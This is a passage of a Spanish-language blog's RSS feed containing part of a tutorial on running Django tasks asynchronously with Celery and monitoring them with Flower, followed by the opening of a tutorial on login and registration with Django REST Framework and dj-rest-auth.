abajo creamos una variable de entorno que guardará la dirección de el archivo de configuración de nuestro proyecto. Nombramos la app como &lt;em&gt;CeleryApp&lt;/em&gt;, para poder referirnos a ella más adelante, le indicamos que tome la configuración de nuestro archivo de configuraciones y que descubra automáticamente las tareas de cada una las aplicaciones que aparecen en INSTALLED_APPS.&lt;/p&gt;&#xA;&lt;p&gt;Este archivo que acabamos de crear es un archivo aislado de nuestra configuración, django no va a cargarlo automáticamente pues no sabe que existe. Necesitamos que lo cargue cuando se ejecute, por lo que un buen lugar sería el archivo &lt;em&gt;__init__.py&lt;/em&gt; de nuestro proyecto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; celery_app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;__all__ &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celery_app&amp;#39;&lt;/span&gt;,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sí ahora ejecutamos celery veremos que corre y se conecta a RabbitMQ&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery -A celeryApp worker -l info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La opción &lt;em&gt;-A&lt;/em&gt;, de App, le indica a celery el nombre de la aplicación, es decir, el nombre que le acabamos de asignar en el archivo &lt;em&gt;celery.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/CeleryEjecutandoseEnConsola.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/CeleryEjecutandoseEnConsola.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Celery ejecutándose en la consola&#34; width=&#34;1014&#34; height=&#34;646&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Celery ejecutándose en la termina. Mira como la opción transport en [config] apunta al puerto 5672, característico de rabbitmq&lt;/p&gt;&#xA;&lt;h2 id=&#34;tasks-o-tareas-en-celery&#34;&gt;Tasks o tareas en celery&lt;/h2&gt;&#xA;&lt;p&gt;Para crear una tarea necesitamos un archivo llamado &lt;em&gt;tasks.py&lt;/em&gt; en nuestra aplicación, que contendrá nuestras funciones, decoradas con &lt;em&gt;@app.task&lt;/em&gt;, y llamar a su método &lt;em&gt;delay()&lt;/em&gt; en nuestras vistas para ejecutarlas asíncronamente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;crear-una-tarea-de-celery-en-django&#34;&gt;Crear una tarea de celery en django&lt;/h3&gt;&#xA;&lt;p&gt;A continuación vamos a crear un archivo &lt;em&gt;tasks.py&lt;/em&gt; en nuestra aplicación (no en el proyecto) aquí es donde colocaremos nuestras tareas costosas en tiempo para que celery se encargue de ellas. Para emular una tarea costosa en tiempo voy a usar la librería time de Python.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celeryApp.celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;waitNSeconds&lt;/span&gt;(n):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    time&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sleep(n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Importamos app de celeryApp, el texto que usamos para nombrar nuestra app de Celery en el archivo &lt;em&gt;celery.py.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Importante&lt;/strong&gt;: En versiones anteriores de celery la importación se hacía directo desde el objeto celery, adecua la importación a tu versión de celery.&lt;/p&gt;&#xA;&lt;p&gt;Tras la creación de ese archivo nuestra estructura de carpetas será similar a esta&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; celeryApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; asgi&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; celery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; __pycache__&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; celery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;cpython&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;38.&lt;/span&gt;pyc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;cpython&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;38.&lt;/span&gt;pyc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; urls&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; wsgi&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; db&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sqlite3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; myTasks&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; apps&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; migrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; tasks&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; tests&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt;   &lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|--&lt;/span&gt; Pipfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt; Pipfile&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ejecutar-tareas-en-celery&#34;&gt;Ejecutar tareas en celery&lt;/h3&gt;&#xA;&lt;p&gt;El decorador task que viene de app se encargará de decirle a Celery que procese esta tarea.&lt;/p&gt;&#xA;&lt;p&gt;Con el archivo &lt;em&gt;tasks.py&lt;/em&gt; creado, modificamos el archivo de vistas de nuestra aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; JsonResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .tasks &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; waitNSeconds&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;slowResponseView&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    waitNSeconds&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delay(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; JsonResponse({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;response&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Importamos el task que acabamos de crear y ejecutamos su método delay, pasándole nuestro argumento (la cantidad de segundos a esperar). Esto se encargará de decirle a celery que ejecute nuestra tarea de manera asíncrona.&lt;/p&gt;&#xA;&lt;p&gt;Si ahora accedemos a la vista que acabamos de crear, veremos que nos &lt;strong&gt;devuelve la respuesta en JSON inmediatamente, sin esperar los 3 segundos&lt;/strong&gt;. Mientras que en la terminal aparecen los mensajes de la tarea que está siendo procesada por Celery&lt;/p&gt;&#xA;&lt;p&gt;Celery se encarga de nuestra tarea, de manera que no interrumpa el flujo de nuestra aplicación en Django.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/DjangoEjecutandoTareaAsincrona.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/DjangoEjecutandoTareaAsincrona.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Celery evitando que tarea costosa en tiempo retrase la respuesta del servidor&#34; width=&#34;1748&#34; height=&#34;996&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Celery manejando la tarea que se ejecuta con cada petición web de manera asíncrona.&lt;/p&gt;&#xA;&lt;p&gt;Para más detalles sobre como conectar celery con Django recuerda que puedes revisar la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/django/first-steps-with-django.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial de celery.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;monitoreo-de-tareas-con-flower&#34;&gt;Monitoreo de tareas con Flower&lt;/h2&gt;&#xA;&lt;p&gt;Celery cuenta con varias aplicaciones complementarias que permiten aumentar el control sobre sus tareas, por ejemplo flower, que se encarga de monitorear las tareas de celery.&lt;/p&gt;&#xA;&lt;p&gt;Flower es muy sencillo de usar, basta con instalarlo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install flower&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y, posteriormente, pasárselo a nuestra aplicación de celery como si fuera un argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery -A celeryApp flower&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras ejecutar el comando Flower estará disponible en el puerto 5555.&lt;/p&gt;&#xA;&lt;p&gt;Flower nos mostrará las tareas activas, procesadas, con fallo e información de cada una de ellas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCelery.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCelery.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Aplicación de flower, panel principal&#34; width=&#34;1919&#34; height=&#34;495&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Panel principal de Flower disponible en el puerto 5555&lt;/p&gt;&#xA;&lt;p&gt;También podremos ver información específica de cada tarea, como su identificador, los argumentos, la hora y el tiempo de ejecución.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCeleryTareas.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/FlowerParaCeleryTareas.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Panel de tareas específicas de flower&#34; width=&#34;1920&#34; height=&#34;433&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Flower nos muestra los detalles de cada tarea&lt;/p&gt;&#xA;&lt;p&gt;Revisa la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://flower.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación de flower&lt;/a&gt;&#xA; para más detalles.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Celery, en combinación con Django sirven para resolver un problema: la falta de asincronía en nuestra aplicación. El envío de un correo electrónico, el procesamiento de algún archivo o la respuesta al servicio de un tercero mantendrán nuestra ejecución en espera de que la tarea se finalice y, como consecuencia, a nuestro usuario esperando.&lt;/p&gt;&#xA;&lt;p&gt;Usar celery es una de las cosas que puedes hacer para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;mejorar el rendimiento de una aplicación en Django&lt;/a&gt;&#xA;. Y también puedes crear tareas periódicas con celery y django.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Tutorial Login y Registro con Django Rest Framework DRF y JWT</title>
      <link>https://coffeebytes.dev/es/django/login-con-django-rest-framework-drf/</link>
      <pubDate>Tue, 17 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/login-con-django-rest-framework-drf/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Casi todas las aplicaciones complejas en Django necesitan vistas para Login, Logout, reinicio y cambio de contraseñas, así como registro de usuarios. Sin embargo tanto Django como Django REST Framework (DRF) se muestran completamente agnósticos respecto a su implementación, y delegan la responsabilidad de esas funciones en los usuarios de sus frameworks. Afortunadamente hay librerías que vuelven bastante sencilla esa tarea.&lt;/p&gt;&#xA;&lt;p&gt;Si estás por desarrollar una API, tengo una entrada con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;recomendaciones sobre diseño de APIs REST&lt;/a&gt;&#xA; que puede servirte bastante.&lt;/p&gt;&#xA;&lt;h2 id=&#34;autenticacion-y-login-de-usuarios-con-drf&#34;&gt;Autenticación y login de usuarios con DRF&lt;/h2&gt;&#xA;&lt;p&gt;Te presento a dj-rest-auth. Esta librería que se encarga de todo el trabajo pesado de las funciones básicas de manejo de usuarios tales como login, logout, reinicio y cambio de contraseñas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;instalacion-de-dj-rest-auth&#34;&gt;Instalación de dj-rest-auth&lt;/h3&gt;&#xA;&lt;p&gt;Para usarlo instalamos el paquete usando el administrador de entornos virtuales pipenv, o tu gestor favorito de paquetes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install dj&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;rest&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;auth&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2.1.7&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La instalación de dj-rest-auth también instalará rest_framework&lt;/p&gt;&#xA;&lt;p&gt;Posteriormente agregamos nuestras aplicaciones al archivo de configuraciones&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.authtoken&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además de los cambios en las aplicaciones, le tenemos que decir a rest_framework que permita la autenticación por medio de Tokens en nuestra aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_FRAMEWORK &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span 